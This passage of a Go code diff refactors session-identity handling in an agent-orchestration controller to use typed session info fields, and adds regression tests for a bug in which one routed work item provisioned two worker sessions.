@@ -2236,11 +2317,22 @@ func discoverSessionBeadsWithRoots(
 		//   - Manual sessions must preserve the concrete identity persisted on
 		//     the bead (agent_name / explicit session_name / alias), even when
 		//     that identity is not a numbered pool slot.
+		//
+		// The identity-resolution chain below (sessionBeadQualifiedName,
+		// canonicalSessionIdentityWithConfig, resolveTemplateForSessionBead)
+		// operates on the raw *beads.Bead (contract rule 3), so recover the
+		// source bead by ID from the same snapshot. The projection is
+		// index-stable (OpenInfos()[i] == InfoFromPersistedBead(Open()[i])), so
+		// FindByID(info.ID) returns exactly this info's bead.
+		b, ok := sessionBeads.FindByID(info.ID)
+		if !ok {
+			continue
+		}
 		var (
 			resolveAgent         *config.Agent
 			sessionQualifiedName string
 		)
-		if isManualSessionBeadForAgent(b, cfgAgent) {
+		if isManualSessionInfoForAgent(info, cfgAgent) {
 			sessionQualifiedName = sessionBeadQualifiedName(bp.cityPath, cfgAgent, bp.rigs, b)
 			resolveAgent = sessionBeadConfigAgent(cfgAgent, sessionQualifiedName)
 		} else {
@@ -2258,19 +2350,19 @@ func discoverSessionBeadsWithRoots(
 		fpExtra := buildFingerprintExtra(resolveAgent)
 		tp, err := resolveTemplateForSessionBead(bp, resolveAgent, sessionQualifiedName, fpExtra, b)
 		if err != nil {
-			fmt.Fprintf(stderr, "buildDesiredState: bead %s template %q: %v (skipping)\n", b.ID, template, err) //nolint:errcheck
+			fmt.Fprintf(stderr, "buildDesiredState: bead %s template %q: %v (skipping)\n", info.ID, template, err) //nolint:errcheck
 			continue
 		}
-		tp.ManualSession = isManualSessionBeadForAgent(b, cfgAgent)
+		tp.ManualSession = isManualSessionInfoForAgent(info, cfgAgent)
 		if tp.ManualSession {
-			if manualAlias := strings.TrimSpace(b.Metadata["alias"]); manualAlias != "" {
+			if manualAlias := strings.TrimSpace(info.Alias); manualAlias != "" {
 				// Explicit aliases from `gc session new --alias ...` are
 				// user-chosen command targets and must survive controller sync.
 				tp.Alias = manualAlias
 			}
 		}
-		if isEphemeralSessionBeadForAgent(b, cfgAgent) {
-			if !tp.ManualSession || strings.TrimSpace(b.Metadata["alias"]) == "" {
+		if isEphemeralSessionInfoForAgent(info, cfgAgent) {
+			if !tp.ManualSession || strings.TrimSpace(info.Alias) == "" {
 				tp.Alias = ""
 			}
 			if tp.ManualSession && sessionQualifiedName != "" {
@@ -2289,6 +2381,11 @@ func isPendingPoolCreate(b beads.Bead) bool {
 	return isPoolManagedSessionBead(b) && strings.TrimSpace(b.Metadata["pending_create_claim"]) == boolMetadata(true)
 }
 
+// isPendingPoolCreateInfo is the session.Info mirror of isPendingPoolCreate.
+func isPendingPoolCreateInfo(i session.Info) bool {
+	return isPoolManagedSessionInfo(i) && i.PendingCreateClaim
+}
+
 func realizeDependencyFloors(
 	bp *agentBuildParams,
 	cfg *config.City,
@@ -3020,6 +3117,36 @@ func staleNonExpandingPoolSessionBead(cfgAgent *config.Agent, sessionBead beads.
 	return strings.TrimSpace(sessionBead.Metadata["pool_slot"]) != ""
 }
 
+// staleNonExpandingPoolSessionBeadInfo is the session.Info mirror of
+// staleNonExpandingPoolSessionBead: it resolves the same non-expanding
+// singleton-pool identity from typed Info fields (agent_name/label fallback via
+// sessionBeadAgentNameInfo, Alias, Title, agent:<name> labels, PoolSlot) instead
+// of raw bead metadata.
+func staleNonExpandingPoolSessionBeadInfo(cfgAgent *config.Agent, info session.Info) bool {
+	if !cfgAgent.UsesCanonicalSingletonPoolIdentity() {
+		return false
+	}
+	if isManualSessionInfoForAgent(info, cfgAgent) {
+		return false
+	}
+	if nonExpandingPoolIdentitySlot(cfgAgent, sessionBeadAgentNameInfo(info)) > 0 {
+		return true
+	}
+	if nonExpandingPoolIdentitySlot(cfgAgent, info.Alias) > 0 {
+		return true
+	}
+	if nonExpandingPoolIdentitySlot(cfgAgent, info.Title) > 0 {
+		return true
+	}
+	for _, label := range info.Labels {
+		label = strings.TrimSpace(label)
+		if strings.HasPrefix(label, "agent:") && nonExpandingPoolIdentitySlot(cfgAgent, strings.TrimPrefix(label, "agent:")) > 0 {
+			return true
+		}
+	}
+	return strings.TrimSpace(info.PoolSlot) != ""
+}
+
 func nonExpandingPoolIdentitySlot(cfgAgent *config.Agent, identity string) int {
 	if !cfgAgent.UsesCanonicalSingletonPoolIdentity() {
 		return 0
@@ -3047,24 +3174,37 @@ func resolveTemplateForSessionBead(
 	qualifiedName string,
 	fpExtra map[string]string,
 	sessionBead beads.Bead,
+) (TemplateParams, error) {
+	return resolveTemplateForSessionBeadInfo(bp, cfgAgent, qualifiedName, fpExtra, session.InfoFromPersistedBead(sessionBead))
+}
+
+// resolveTemplateForSessionBeadInfo is the typed core of resolveTemplateForSessionBead.
+// It reads only session_name, the two trigger keys, and pack — all verbatim raw
+// mirrors on session.Info — so it is byte-identical to the raw-bead form it backs.
+func resolveTemplateForSessionBeadInfo(
+	bp *agentBuildParams,
+	cfgAgent *config.Agent,
+	qualifiedName string,
+	fpExtra map[string]string,
+	info session.Info,
 ) (TemplateParams, error) {
 	local := *bp
-	local.beadNames = map[string]string{qualifiedName: sessionBead.Metadata["session_name"]}
+	local.beadNames = map[string]string{qualifiedName: info.SessionNameMetadata}
 	tp, err := resolveTemplatePrepared(&local, cfgAgent, qualifiedName, fpExtra)
 	if err != nil {
 		return tp, err
 	}
-	if triggerID := strings.TrimSpace(sessionBead.Metadata[beadmeta.TriggerBeadIDMetadataKey]); triggerID != "" {
+	if triggerID := strings.TrimSpace(info.TriggerBeadID); triggerID != "" {
 		if tp.Env == nil {
 			tp.Env = make(map[string]string)
 		}
 		tp.Env["GC_TRIGGER_BEAD_ID"] = triggerID
 		tp.Env["GC_TRIGGER_WORK_BEAD_ID"] = triggerID
-		if storeRef := strings.TrimSpace(sessionBead.Metadata[beadmeta.TriggerBeadStoreRefMetadataKey]); storeRef != "" {
+		if storeRef := strings.TrimSpace(info.TriggerBeadStoreRef); storeRef != "" {
 			tp.Env["GC_TRIGGER_BEAD_STORE_REF"] = storeRef
 			tp.Env["GC_TRIGGER_WORK_STORE_REF"] = storeRef
 		}
-		if pack := strings.TrimSpace(sessionBead.Metadata[beadmeta.PackMetadataKey]); pack != "" {
+		if pack := strings.TrimSpace(info.Pack); pack != "" {
 			tp.Env["GC_PACKER_PACK"] = pack
 		}
 	}
@@ -3229,6 +3369,32 @@ func existingPoolSlot(cfgAgent *config.Agent, sessionBead beads.Bead) int {
 	return 0
 }
 
+// existingPoolSlotInfo is the session.Info sibling of existingPoolSlot, reading
+// typed Info fields (PoolSlot / Alias / SessionNameMetadata) and the Info
+// classifiers instead of raw bead metadata. Equivalence-proven.
+func existingPoolSlotInfo(cfgAgent *config.Agent, info session.Info) int {
+	if cfgAgent == nil {
+		return 0
+	}
+	if cfgAgent.UsesCanonicalSingletonPoolIdentity() {
+		return 0
+	}
+	if info.PoolSlot != "" {
+		if slot, err := strconv.Atoi(strings.TrimSpace(info.PoolSlot)); err == nil && slot > 0 {
+			return slot
+		}
+	}
+	if slot := resolvePersistedPoolIdentitySlot(cfgAgent, true, sessionBeadAgentNameInfo(info), info.Alias); slot > 0 {
+		return slot
+	}
+	if strings.TrimSpace(info.Alias) == "" && !infoOwnsPoolSessionName(info) {
+		if slot := resolvePersistedPoolIdentitySlot(cfgAgent, true, info.SessionNameMetadata); slot > 0 {
+			return slot
+		}
+	}
+	return 0
+}
+
 func resolvePersistedPoolIdentitySlot(cfgAgent *config.Agent, allowLocalIdentity bool, candidates ...string) int {
 	if cfgAgent == nil {
 		return 0
@@ -3651,6 +3817,18 @@ func beadIdentifiesAsCanonical(bead beads.Bead, canonical string) bool {
 		containsString(bead.Labels, "agent:"+canonical)
 }
 
+// infoIdentifiesAsCanonical is the session.Info mirror of beadIdentifiesAsCanonical.
+func infoIdentifiesAsCanonical(i session.Info, canonical string) bool {
+	canonical = strings.TrimSpace(canonical)
+	if canonical == "" {
+		return false
+	}
+	return strings.TrimSpace(i.AgentName) == canonical ||
+		strings.TrimSpace(i.Alias) == canonical ||
+		strings.TrimSpace(i.Title) == canonical ||
+		containsString(i.Labels, "agent:"+canonical)
+}
+
 func normalizeNonExpandingPoolSessionBeadForSelection(
 	bp *agentBuildParams,
 	cfgAgent *config.Agent,
@@ -3784,6 +3962,13 @@ func isFailedCreateSessionBead(bead beads.Bead) bool {
 	return strings.TrimSpace(bead.Metadata["state"]) == string(session.StateFailedCreate)
 }
 
+// isFailedCreateSessionInfo is the session.Info mirror of
+// isFailedCreateSessionBead. It reads the RAW metadata state (Info.MetadataState),
+// not the normalized/closed-blanked Info.State.
+func isFailedCreateSessionInfo(i session.Info) bool {
+	return strings.TrimSpace(i.MetadataState) == string(session.StateFailedCreate)
+}
+
 func sessionBeadHasAssignedWork(workBeads []beads.Bead, sessionBead beads.Bead) bool {
 	for _, wb := range workBeads {
 		assignee := strings.TrimSpace(wb.Assignee)
diff --git a/cmd/gc/build_desired_state_ga80pen8_test.go b/cmd/gc/build_desired_state_ga80pen8_test.go
new file mode 100644
index 0000000000..d98252c8d2
--- /dev/null
+++ b/cmd/gc/build_desired_state_ga80pen8_test.go
@@ -0,0 +1,262 @@
+package main
+
+import (
+	"io"
+	"os"
+	"path/filepath"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/runtime"
+)
+
+// TestBuildDesiredState_MultiSlotPoolNamedSession_OneRoutedBeadProvisionsTwoWorkers
+// is the ga-80pen8 repro: two gascity/builder identities (the [[named_session]]
+// and a pool slot) concurrently claimed+completed the same routed bead.
+//
+// Root cause: an agent template configured as BOTH a [[named_session]] AND a
+// multi-slot pool (max_active_sessions > 1, so UsesCanonicalSingletonPoolIdentity()
+// is false and the #3697 canonical-singleton standby suppression does not apply)
+// overloads ONE identity string ("gascity/builder") as:
+//   - the named-session wake identity,
+//   - the pool template / gc.routed_to queue key,
+//   - the pool claim assignee (bd update --claim --assignee="$GC_TEMPLATE"), and
+//   - the Tier-1 crash-recovery key (bd list --assignee="$GC_TEMPLATE" --status=in_progress).
+//
+// A single routed bead, once a pool slot claims it, carries BOTH
+// gc.routed_to=gascity/builder AND Assignee=gascity/builder (the bare template —
+// exactly how live ga-frpt4k ended up). On the reconcile tick that one bead then
+// drives TWO independent demand paths:
+//   - filterAssignedWorkBeadsForPoolDemand (gc.routed_to) -> a pool slot, and
+//   - namedWorkReady (build_desired_state.go ~892, `if assignee != identity`)
+//     (Assignee==identity) -> the on_demand named session.
+//
+// so buildDesiredState provisions BOTH gascity/builder (named) and
+// gascity/builder-1 (pool slot) for the same unit of work. Both then run the
+// shared claim/Tier-1 protocol and work the bead to completion — the observed
+// double-claim, duplicate commit, duplicate reviewer handoff, and duplicate
+// bd close.
+//
+// Invariant (fix-agnostic): one unit of routed work must not simultaneously
+// provision the named session AND a pool slot of the same template. Holds under
+// every candidate fix — pool claims under its concrete alias (so Assignee is
+// gascity/builder-1, not the bare template, and namedWorkReady no longer
+// matches); the reconciler excludes multi-slot-pool self-claims from named
+// demand; or config forbids a [[named_session]] on a max>1 pool template.
+//
+// MUST fail on current code (2 desired builder sessions) and pass after the fix.
+func TestBuildDesiredState_MultiSlotPoolNamedSession_OneRoutedBeadProvisionsTwoWorkers(t *testing.T) {
+	cityPath := t.TempDir()
+	rigPath := filepath.Join(cityPath, "gascity")
+	if err := os.MkdirAll(rigPath, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	cityStore := beads.NewMemStore()
+	rigStore := beads.NewMemStore()
+
+	// One routed bead, already claimed by a pool slot: the claim stamped the bare
+	// template as assignee (bd update --claim --assignee="$GC_TEMPLATE") and moved
+	// it to in_progress — mirroring live ga-frpt4k (Assignee: gascity/builder,
+	// gc.routed_to: gascity/builder).
+	b, err := rigStore.Create(beads.Bead{
+		Title:    "routed builder work claimed by a pool slot",
+		Type:     "task",
+		Status:   "open",
+		Assignee: "gascity/builder",
+		Metadata: map[string]string{"gc.routed_to": "gascity/builder"},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	inProgress := "in_progress"
+	if err := rigStore.Update(b.ID, beads.UpdateOpts{Status: &inProgress}); err != nil {
+		t.Fatal(err)
+	}
+
+	cfg := &config.City{
+		Workspace: config.Workspace{Name: "gc"},
+		Rigs:      []config.Rig{{Name: "gascity", Path: rigPath}},
+		Agents: []config.Agent{{
+			Name:              "builder",
+			Dir:               "gascity",
+			StartCommand:      "true",
+			MaxActiveSessions: intPtr(3), // multi-slot pool: not a canonical singleton
+			WorkQuery:         "printf ''",
+		}},
+		NamedSessions: []config.NamedSession{{
+			Template: "builder",
+			Dir:      "gascity",
+			Mode:     "on_demand",
+		}},
+	}
+
+	dsResult := buildDesiredStateWithSessionBeads(
+		"gc", cityPath, time.Now().UTC(), cfg, runtime.NewFake(),
+		cityStore, map[string]beads.Store{"gascity": rigStore}, nil, nil, io.Discard,
+	)
+
+	var builderIdentities []string
+	for key, tp := range dsResult.State {
+		if tp.TemplateName == "gascity/builder" {
+			builderIdentities = append(builderIdentities, key+"(alias="+tp.Alias+",named="+tp.ConfiguredNamedIdentity+")")
+		}
+	}
+	if len(builderIdentities) != 1 {
+		t.Fatalf("one routed builder bead provisioned %d gascity/builder sessions, want 1: %v\n"+
+			"The bead's Assignee==bare template fired named-session demand (namedWorkReady) while its "+
+			"gc.routed_to fired pool demand, so the [[named_session]] gascity/builder AND pool slot "+
+			"gascity/builder-1 are both provisioned for the same unit of work — the ga-80pen8 "+
+			"double-claim. NamedSessionDemand=%v",
+			len(builderIdentities), builderIdentities, dsResult.NamedSessionDemand)
+	}
+}
+
+// TestSharedTemplateAssignee_Tier1CrashRecoveryCrossAdopts proves the direct
+// mechanism by which the two provisioned sessions both do the work: the Tier-1
+// crash-recovery query every builder session runs,
+//
+//	bd list --assignee="$GC_TEMPLATE" --status=in_progress
+//
+// keys on the shared $GC_TEMPLATE ("gascity/builder"). A bead a sibling session
+// already claimed (Assignee="gascity/builder", in_progress) is returned by that
+// query, so a second live session "resumes" it as if it were its own abandoned
+// work. The store query is the exact surface bd wraps.
+//
+// The companion assertion shows the fix direction: had the pool slot claimed
+// under its concrete alias ("gascity/builder-1"), the named session's Tier-1
+// scan (assignee="gascity/builder") would NOT surface it — no cross-adoption.
+//
+// This test does not exercise the reconciler guard (that's the test above) —
+// it documents the *other*, prompt-level failure surface (ga-i1d0tr) that the
+// guard does not fix on its own. Kept unmodified as a regression guard per
+// ga-n2szjj's done-when.
+func TestSharedTemplateAssignee_Tier1CrashRecoveryCrossAdopts(t *testing.T) {
+	store := beads.NewMemStore()
+
+	// Sibling A (a pool slot) claimed shared routed work under the bare template.
+	shared, err := store.Create(beads.Bead{Title: "shared-claim", Type: "task", Status: "open", Assignee: "gascity/builder"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	// Sibling B (a hypothetical fixed pool slot) claimed under its concrete alias.
+	concrete, err := store.Create(beads.Bead{Title: "concrete-claim", Type: "task", Status: "open", Assignee: "gascity/builder-1"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	inProgress := "in_progress"
+	for _, id := range []string{shared.ID, concrete.ID} {
+		if err := store.Update(id, beads.UpdateOpts{Status: &inProgress}); err != nil {
+			t.Fatal(err)
+		}
+	}
+
+	// The named session's Tier-1 crash-recovery query: assignee == $GC_TEMPLATE.
+	tier1, err := store.List(beads.ListQuery{Assignee: "gascity/builder", Status: "in_progress"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	var ids []string
+	for _, b := range tier1 {
+		ids = append(ids, b.ID)
+	}
+
+	sawShared, sawConcrete := false, false
+	for _, id := range ids {
+		if id == shared.ID {
+			sawShared = true
+		}
+		if id == concrete.ID {
+			sawConcrete = true
+		}
+	}
+	if !sawShared {
+		t.Fatalf("Tier-1 (assignee=gascity/builder) did not return the shared-template claim %s; ids=%v", shared.ID, ids)
+	}
+	if sawConcrete {
+		t.Fatalf("Tier-1 (assignee=gascity/builder) returned the concrete-alias claim %s — it must not; "+
+			"claiming under a concrete pool identity is what prevents cross-adoption; ids=%v", concrete.ID, ids)
+	}
+	// sawShared==true: a sibling's active work is indistinguishable from this
+	// session's own crash-recovery work under the shared $GC_TEMPLATE assignee.
+	t.Logf("Tier-1 crash-recovery surfaced a live sibling's shared-template claim %s (cross-adoption); "+
+		"a concrete-alias claim %s was correctly invisible", shared.ID, concrete.ID)
+}
+
+// TestNamedWorkReady_ExpandedIdentityTemplate_NoCanonicalBead_DoesNotMaterialize
+// pins down the CURRENT, INTENTIONAL behavior described in ga-tpe9od: a named
+// session on a template that SupportsExpandedSessionIdentities() (named_session
+// + max_active_sessions>1, the same shape as the test above), whose canonical
+// session bead is absent (crash + reap), holding in-progress work self-claimed
+// under its own bare identity, does NOT get namedWorkReady demand from that
+// bead — the Candidate-B guard (ga-i1d0tr) discards the match unconditionally,
+// regardless of whether it's a legitimate self-claim. This is accepted today
+// because Candidate A (concrete-alias claims, ga-98gjgb) is not yet live
+// fleet-wide, so a bare-identity assignee on such a template can't yet be
+// trusted as unambiguous. See bd show ga-tpe9od for the full decision and the
+// trigger for revisiting this guard.
+func TestNamedWorkReady_ExpandedIdentityTemplate_NoCanonicalBead_DoesNotMaterialize(t *testing.T) {
+	cityPath := t.TempDir()
+	rigPath := filepath.Join(cityPath, "gascity")
+	if err := os.MkdirAll(rigPath, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	cityStore := beads.NewMemStore()
+	rigStore := beads.NewMemStore()
+
+	// The named session's own in-progress work, self-claimed under its bare
+	// identity (not a pool slot's claim — no gc.routed_to here). Simulates a
+	// crash + reap: sessionBeads is nil below, so no canonical session bead
+	// exists for this identity; only this orphaned in-progress work remains.
+	b, err := rigStore.Create(beads.Bead{
+		Title:    "builder's own in-progress work, orphaned by crash+reap",
+		Type:     "task",
+		Status:   "open",
+		Assignee: "gascity/builder",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	inProgress := "in_progress"
+	if err := rigStore.Update(b.ID, beads.UpdateOpts{Status: &inProgress}); err != nil {
+		t.Fatal(err)
+	}
+
+	cfg := &config.City{
+		Workspace: config.Workspace{Name: "gc"},
+		Rigs:      []config.Rig{{Name: "gascity", Path: rigPath}},
+		Agents: []config.Agent{{
+			Name:              "builder",
+			Dir:               "gascity",
+			StartCommand:      "true",
+			MaxActiveSessions: intPtr(3), // expanded identities: SupportsExpandedSessionIdentities() == true
+			WorkQuery:         "printf ''",
+		}},
+		NamedSessions: []config.NamedSession{{
+			Template: "builder",
+			Dir:      "gascity",
+			Mode:     "on_demand",
+		}},
+	}
+
+	// sessionBeads=nil => findCanonicalNamedSessionBead reports hasCanonical=false
+	// for every identity (no canonical session bead present at all).
+	dsResult := buildDesiredStateWithSessionBeads(
+		"gc", cityPath, time.Now().UTC(), cfg, runtime.NewFake(),
+		cityStore, map[string]beads.Store{"gascity": rigStore}, nil, nil, io.Discard,
+	)
+
+	if demand := dsResult.NamedSessionDemand["gascity/builder"]; demand {
+		t.Fatalf("NamedSessionDemand[gascity/builder] = true, want false — the Candidate-B guard "+
+			"should have discarded the bare-identity match on this expanded-identity template; "+
+			"NamedSessionDemand=%v", dsResult.NamedSessionDemand)
+	}
+	for key, tp := range dsResult.State {
+		if tp.TemplateName == "gascity/builder" {
+			t.Fatalf("gascity/builder materialized as %q despite no canonical bead and no namedWorkReady "+
+				"demand (mode=on_demand) — ga-tpe9od's accepted gap should leave it un-materialized, not "+
+				"silently start provisioning it; State=%v", key, dsResult.State)
+		}
+	}
+}
diff --git a/cmd/gc/build_desired_state_test.go b/cmd/gc/build_desired_state_test.go
index 4051fe062a..26346e6283 100644
--- a/cmd/gc/build_desired_state_test.go
+++ b/cmd/gc/build_desired_state_test.go
@@ -6439,7 +6439,7 @@ func TestBuildDesiredState_RigOnDemandNamedSessionAssigneeWithRouteMaterializesN
 			if err != nil {
 				t.Fatalf("loadSessionBeads: %v", err)
 			}
-			poolDesired := PoolDesiredCounts(ComputePoolDesiredStates(cfg, dsResult.AssignedWorkBeads, sessions, dsResult.ScaleCheckCounts))
+			poolDesired := PoolDesiredCounts(ComputePoolDesiredStates(cfg, dsResult.AssignedWorkBeads, sessionInfosFromBeads(sessions), dsResult.ScaleCheckCounts))
 			if poolDesired == nil {
 				poolDesired = map[string]int{}
 			}
@@ -7878,7 +7878,7 @@ func TestBuildDesiredState_ScaleCheckErrorPreservesDormantAffectedPoolSessionWit
 
 	poolDesired := retainScaleCheckPartialPoolDesired(
 		cfg,
-		PoolDesiredCounts(ComputePoolDesiredStates(cfg, nil, snapshot.Open(), result.ScaleCheckCounts)),
+		PoolDesiredCounts(ComputePoolDesiredStates(cfg, nil, snapshot.OpenInfos(), result.ScaleCheckCounts)),
 		snapshot,
 		result.PoolScaleCheckPartialTemplates,
 	)
@@ -11167,7 +11167,7 @@ func TestBuildDesiredState_ScaleCheckPartialPoolBlocksNewCreates(t *testing.T) {
 		snapshot := newSessionBeadSnapshot([]beads.Bead{activeSession})
 		poolDesired := retainScaleCheckPartialPoolDesired(
 			cfg,
-			PoolDesiredCounts(ComputePoolDesiredStates(cfg, nil, snapshot.Open(), result.ScaleCheckCounts)),
+			PoolDesiredCounts(ComputePoolDesiredStates(cfg, nil, snapshot.OpenInfos(), result.ScaleCheckCounts)),
 			snapshot,
 			result.PoolScaleCheckPartialTemplates,
 		)
@@ -11208,7 +11208,7 @@ func TestBuildDesiredState_ScaleCheckPartialPoolBlocksNewCreates(t *testing.T) {
 		snapshot := newSessionBeadSnapshot([]beads.Bead{awakeSession})
 		poolDesired := retainScaleCheckPartialPoolDesired(
 			cfg,
-			PoolDesiredCounts(ComputePoolDesiredStates(cfg, nil, snapshot.Open(), result.ScaleCheckCounts)),
+			PoolDesiredCounts(ComputePoolDesiredStates(cfg, nil, snapshot.OpenInfos(), result.ScaleCheckCounts)),
 			snapshot,
 			result.PoolScaleCheckPartialTemplates,
 		)
@@ -11240,7 +11240,7 @@ func TestBuildDesiredState_ScaleCheckPartialPoolBlocksNewCreates(t *testing.T) {
 		snapshot := newSessionBeadSnapshot([]beads.Bead{})
 		poolDesired := retainScaleCheckPartialPoolDesired(
 			cfg,
-			PoolDesiredCounts(ComputePoolDesiredStates(cfg, nil, snapshot.Open(), result.ScaleCheckCounts)),
+			PoolDesiredCounts(ComputePoolDesiredStates(cfg, nil, snapshot.OpenInfos(), result.ScaleCheckCounts)),
 			snapshot,
 			result.PoolScaleCheckPartialTemplates,
 		)
@@ -11277,7 +11277,7 @@ func TestBuildDesiredState_ScaleCheckPartialPoolBlocksNewCreates(t *testing.T) {
 		snapshot := newSessionBeadSnapshot([]beads.Bead{activeSession, creatingSession})
 		poolDesired := retainScaleCheckPartialPoolDesired(
 			cfg,
-			PoolDesiredCounts(ComputePoolDesiredStates(cfg, nil, snapshot.Open(), result.ScaleCheckCounts)),
+			PoolDesiredCounts(ComputePoolDesiredStates(cfg, nil, snapshot.OpenInfos(), result.ScaleCheckCounts)),
 			snapshot,
 			result.PoolScaleCheckPartialTemplates,
 		)
@@ -11349,7 +11349,7 @@ func TestBuildDesiredState_ScaleCheckPartialPoolBlocksNewCreates(t *testing.T) {
 		}
 		poolDesired := retainScaleCheckPartialPoolDesired(
 			cfg,
-			PoolDesiredCounts(ComputePoolDesiredStates(cfg, nil, snapshot.Open(), partialResult.ScaleCheckCounts)),
+			PoolDesiredCounts(ComputePoolDesiredStates(cfg, nil, snapshot.OpenInfos(), partialResult.ScaleCheckCounts)),
 			snapshot,
 			partialResult.PoolScaleCheckPartialTemplates,
 		)
@@ -11747,3 +11747,71 @@ func TestBuildDesiredState_AsleepNamedAliasHolderStaysSingle(t *testing.T) {
 		t.Fatalf("retained entry is not the named alias-holder: %+v", mayorEntries[0])
 	}
 }
+
+// TestBuildDesiredStateRecordsDemandSubPhases verifies the sub-phase operation
+// records emitted inside buildDesiredStateWithSessionBeads (sr-5rz /
+// gastownhall/gascity#2463): the aggregate load_demand_snapshot tick phase
+// regularly dominates the controller cycle, and these records are what make
+// its internal split (collection reads vs demand probes vs scale_check execs)
+// attributable from a trace instead of requiring an instrumented rebuild.
+func TestBuildDesiredStateRecordsDemandSubPhases(t *testing.T) {
+	// The non-tick path passes no trace; the recorder must be nil-safe.
+	recordDemandSubPhase(nil, "demand_snapshot.collect_open_session_beads", time.Now(), nil)
+
+	cityDir := t.TempDir()
+	tracer := newSessionReconcilerTracer(cityDir, "trace-town", io.Discard)
+	if !tracer.Enabled() {
+		t.Fatal("tracer should be enabled")
+	}
+	cycle := tracer.BeginCycle(TraceTickTriggerPatrol, "", time.Now().UTC(), &config.City{})
+	if cycle == nil {
+		t.Fatal("BeginCycle returned nil")
+	}
+
+	store := beads.NewMemStore()
+	sessionSnapshot, err := loadSessionBeadSnapshot(store)
+	if err != nil {
+		t.Fatalf("load session snapshot: %v", err)
+	}
+	var stderr strings.Builder
+	buildDesiredStateWithSessionBeads(
+		"trace-town", cityDir, time.Now().UTC(), &config.City{}, runtime.NewFake(),
+		store, nil, sessionSnapshot, cycle, &stderr,
+	)
+
+	if err := cycle.End(TraceCompletionCompleted, map[string]any{}); err != nil {
+		t.Fatalf("End: %v", err)
+	}
+	if err := tracer.Close(); err != nil {
+		t.Fatalf("Close: %v", err)
+	}
+
+	records, err := ReadTraceRecords(traceCityRuntimeDir(cityDir), TraceFilter{})
+	if err != nil {
+		t.Fatalf("ReadTraceRecords: %v", err)
+	}
+	// Sub-phases that must fire on every store-backed build, even with an
+	// empty config (the scale/named demand probes only fire with matching
+	// agents, so they are intentionally not asserted here).
+	want := map[string]bool{
+		"demand_snapshot.collect_open_session_beads": false,
+		"demand_snapshot.collect_assigned_work":      false,
+		"demand_snapshot.collect_unassigned_routed":  false,
+		"demand_snapshot.evaluate_pending_pools":     false,
+	}
+	for i := range records {
+		r := &records[i]
+		if r.RecordType != TraceRecordOperation || r.SiteCode != TraceSiteDemandSnapshot {
+			continue
+		}
+		name, _ := r.Fields["operation_name"].(string)
+		if _, tracked := want[name]; tracked {
+			want[name] = true
+		}
+	}
+	for name, seen := range want {
+		if !seen {
+			t.Errorf("missing demand sub-phase operation record %q", name)
+		}
+	}
+}
diff --git a/cmd/gc/builtin_include_doctor_check.go b/cmd/gc/builtin_include_doctor_check.go
index 6d11c22fa1..4c99a2e047 100644
--- a/cmd/gc/builtin_include_doctor_check.go
+++ b/cmd/gc/builtin_include_doctor_check.go
@@ -586,7 +586,7 @@ func (c *builtinImportDoctorCheck) Fix(_ *doctor.CheckContext) error {
 	if len(order) == 0 && !changed {
 		return nil
 	}
-	allImports, err := collectAllImportsFS(fsys.OSFS{}, c.cityPath)
+	allImports, err := collectAllImportsFS(c.cityPath)
 	if err != nil {
 		return fmt.Errorf("reading declared imports: %w", err)
 	}
@@ -615,7 +615,7 @@ func (c *builtinImportDoctorCheck) missingAfterIncludeStrip() []string {
 	if cfg, loadErr := loadCityConfigWithoutBuiltinPackRefresh(c.cityPath, io.Discard); loadErr == nil {
 		return missingRequiredBuiltinImports(fsys.OSFS{}, maskLegacySystemPacksRoutes(cfg, c.cityPath), c.cityPath)
 	}
-	declared, err := collectAllImportsFS(fsys.OSFS{}, c.cityPath)
+	declared, err := collectAllImportsFS(c.cityPath)
 	if err != nil {
 		declared = nil
 	}
diff --git a/cmd/gc/city_runtime.go b/cmd/gc/city_runtime.go
index 9bb8c74419..e0af092643 100644
--- a/cmd/gc/city_runtime.go
+++ b/cmd/gc/city_runtime.go
@@ -30,6 +30,7 @@ import (
 	"github.com/gastownhall/gascity/internal/orders"
 	"github.com/gastownhall/gascity/internal/runtime"
 	sessionauto "github.com/gastownhall/gascity/internal/runtime/auto"
+	sessionpkg "github.com/gastownhall/gascity/internal/session"
 	"github.com/gastownhall/gascity/internal/supervisor"
 	"github.com/gastownhall/gascity/internal/telemetry"
 	"github.com/gastownhall/gascity/internal/workspacesvc"
@@ -1186,7 +1187,7 @@ func (cr *CityRuntime) tick(
 	recordPhase(TraceSiteSessionSnapshot, "load_session_snapshot.initial", phaseStart, traceSessionSnapshotFields(sessionBeads))
 	if trace != nil && sessionBeads != nil {
 		trace.RecordSessionBaseline("", "", traceRecordPayload{
-			"open_count": len(sessionBeads.Open()),
+			"open_count": len(sessionBeads.OpenInfos()),
 		})
 		_ = trace.flushCurrentBatch(TraceDurabilityDurable)
 	}
@@ -2110,6 +2111,12 @@ func (cr *CityRuntime) reloadConfigTraced(
 		cr.standaloneRigStores = buildStandaloneRigStores(nextCfg, cr.cityPath, cr.stderr)
 	}
 
+	// Rebuild convergence scopes against the reloaded config so rigs added,
+	// removed, or rebound by this reload are honored live (#2403). New
+	// scopes repopulate their active index via the needsStartupReconcile
+	// path on the next tick.
+	cr.rebuildConvergenceHandler()
+
 	// Ensure drain tracker and provider-health gate are initialized when bead store becomes available.
 	if cr.cityBeadStore() != nil && cr.tomlPath != "" && cr.sessionDrains == nil {
 		cr.sessionDrains = newDrainTracker()
@@ -2278,12 +2285,11 @@ func (cr *CityRuntime) beadReconcileTick(ctx context.Context, result DesiredStat
 	poolDesired := result.PoolDesiredCounts
 	if poolDesired == nil {
 		phaseStart = time.Now()
-		poolWorkBeads := filterAssignedWorkBeadsForPoolDemand(cr.cfg, cr.cityPath, sessionBeads.Open(), assignedWorkBeads, assignedWorkStoreRefs)
+		poolWorkBeads := filterAssignedWorkBeadsForPoolDemand(cr.cfg, cr.cityPath, sessionBeads.OpenInfos(), assignedWorkBeads, assignedWorkStoreRefs)
 		poolDesired = retainScaleCheckPartialPoolDesired(
 			cr.cfg,
 			PoolDesiredCounts(ComputePoolDesiredStatesTraced(
-				cr.cfg, poolWorkBeads, sessionBeads.Open(), result.ScaleCheckCounts, trace,
-			)),
